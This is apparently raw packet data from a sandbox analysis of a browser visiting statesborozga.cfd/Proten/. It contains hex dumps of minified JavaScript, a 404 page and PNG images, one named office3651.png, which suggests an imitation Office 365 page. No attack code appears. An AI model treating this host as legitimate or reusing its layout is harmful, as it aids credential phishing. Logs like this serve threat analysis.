2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 Data Ascii: eturn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}functi
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: eturn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49760	172.67.137.170	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:03 UTC	597	OUT	GET /favicon.ico HTTP/1.1 Host: statesborozga.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://statesborozga.cfd/Proten/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:03 UTC	622	IN	HTTP/1.1 404 Not Found Date: Wed, 17 Apr 2024 22:28:03 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XNBO0AWxeY0lvRO8PAKfVPSrr85CDwEuJf4GPrDq6nJJmOAj2X11IvgYZuKQLs4Zq8w86UdDTsggHHx7V%2BJqNZd5i6zkq9RNbv1weLllln3w%2B9VRmfi%2Fwfa2YTc4zU1AefQFbA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875fd8914e60453d-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 22:28:03 UTC	322	IN	Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying t
2024-04-17 22:28:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49761	172.67.137.170	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:03 UTC	365	OUT	GET /Proten/images/other1.png HTTP/1.1 Host: statesborozga.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:03 UTC	666	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 22:28:03 GMT Content-Type: image/png Content-Length: 21882 Connection: close Last-Modified: Sat, 18 Jan 2020 22:01:38 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8ofBmJTKr2Wl%2B3HZR7u3yflprJfyqIq%2B6FoP3O8%2FwiB0dQbkrhoQVnKcHcCQGwiE0Rwr7u%2FkTS3zRWFthpj98HCFOYa3ndIrpX%2BR3ISuAj9P2LqwZwsB0sJydHkUcoO3qqvyvQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875fd8919e8bb0f1-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 22:28:03 UTC	703	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 be 00 00 00 bb 08 06 00 00 00 db b9 24 2e 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 3a ee 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d Data Ascii: PNGIHDR$. cHRMz&u0`:pQ<sRGBgAMAapHYs:iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?><x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 65 6c 65 6d 65 6e 74 73 2f 31 2e 31 2f 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 78 6d 6c 6e 73 3a 74 69 66 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 74 69 66 66 2f 31 2e 30 2f 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 78 6d 6c 6e 73 3a 65 78 69 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 65 78 69 66 2f 31 2e 30 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3e 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 20 28 57 69 6e 64 6f 77 73 29 3c 2f 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 3a 43 72 65 61 74 65 44 61 74 65 3e 32 30 32 30 2d 30 31 2d 31 38 54 Data Ascii: ://purl.org/dc/elements/1.1/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/"> <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool> <xmp:CreateDate>2020-01-18T
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 45 76 74 3a 77 68 65 6e 3e 32 30 32 30 2d 30 31 2d 31 38 54 32 31 3a 35 39 3a 35 37 2b 30 35 3a 30 30 3c 2f 73 74 45 76 74 3a 77 68 65 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3e 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 20 28 57 69 6e 64 6f 77 73 29 3c 2f 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3e 2f 3c 2f 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 72 64 66 3a 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: D> <stEvt:when>2020-01-18T21:59:57+05:00</stEvt:when> <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent> <stEvt:changed>/</stEvt:changed> </rdf:li>
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 Data Ascii:
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49762	172.67.137.170	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:03 UTC	369	OUT	GET /Proten/images/office3651.png HTTP/1.1 Host: statesborozga.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:03 UTC	662	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 22:28:03 GMT Content-Type: image/png Content-Length: 18025 Connection: close Last-Modified: Tue, 21 Jan 2020 14:30:14 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=11A8z6XaersC3eZFoXWqdcqLpbhtFfkc1jr1UU%2B18de5bAs5VQ75pkHwWyjMsdTffb92qmyaYrwx79BNznLAqfe0jA2nYnqis8BomBNh%2B2iF%2BCyBakqFBkLsl7T6GH2HqDoAZg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875fd891e94e458f-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 22:28:03 UTC	707	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 bb 00 00 00 bc 08 06 00 00 00 20 95 df d2 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 3c 65 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 0a 20 20 20 3c 72 64 66 Data Ascii: PNGIHDR pHYs<eiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?><x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 66 2f 31 2e 30 2f 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 78 6d 6c 6e 73 3a 65 78 69 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 65 78 69 66 2f 31 2e 30 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3e 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 20 28 57 69 6e 64 6f 77 73 29 3c 2f 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 3a 43 72 65 61 74 65 44 61 74 65 3e 32 30 32 30 2d 30 31 2d 31 38 54 32 31 3a 34 39 3a 33 38 2b 30 35 3a 30 30 3c 2f 78 6d 70 3a 43 72 65 61 74 65 44 61 74 65 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 3a 4d 65 74 61 64 61 74 61 44 61 74 65 3e 32 30 32 30 2d 30 31 2d 32 31 54 31 34 3a 33 30 3a 31 Data Ascii: f/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/"> <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool> <xmp:CreateDate>2020-01-18T21:49:38+05:00</xmp:CreateDate> <xmp:MetadataDate>2020-01-21T14:30:1
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3e 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 20 28 57 69 6e 64 6f 77 73 29 3c 2f 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3e 2f 3c 2f 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 72 64 66 3a 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 72 64 66 3a 6c 69 20 72 64 66 3a 70 61 72 73 65 54 79 70 65 3d 22 52 65 73 6f 75 72 63 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 45 76 74 3a 61 63 74 69 6f 6e 3e 73 61 76 65 64 3c 2f 73 Data Ascii: <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent> <stEvt:changed>/</stEvt:changed> </rdf:li> <rdf:li rdf:parseType="Resource"> <stEvt:action>saved</s
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 78 3a 78 6d 70 6d 65 74 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: x:xmpmeta>
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
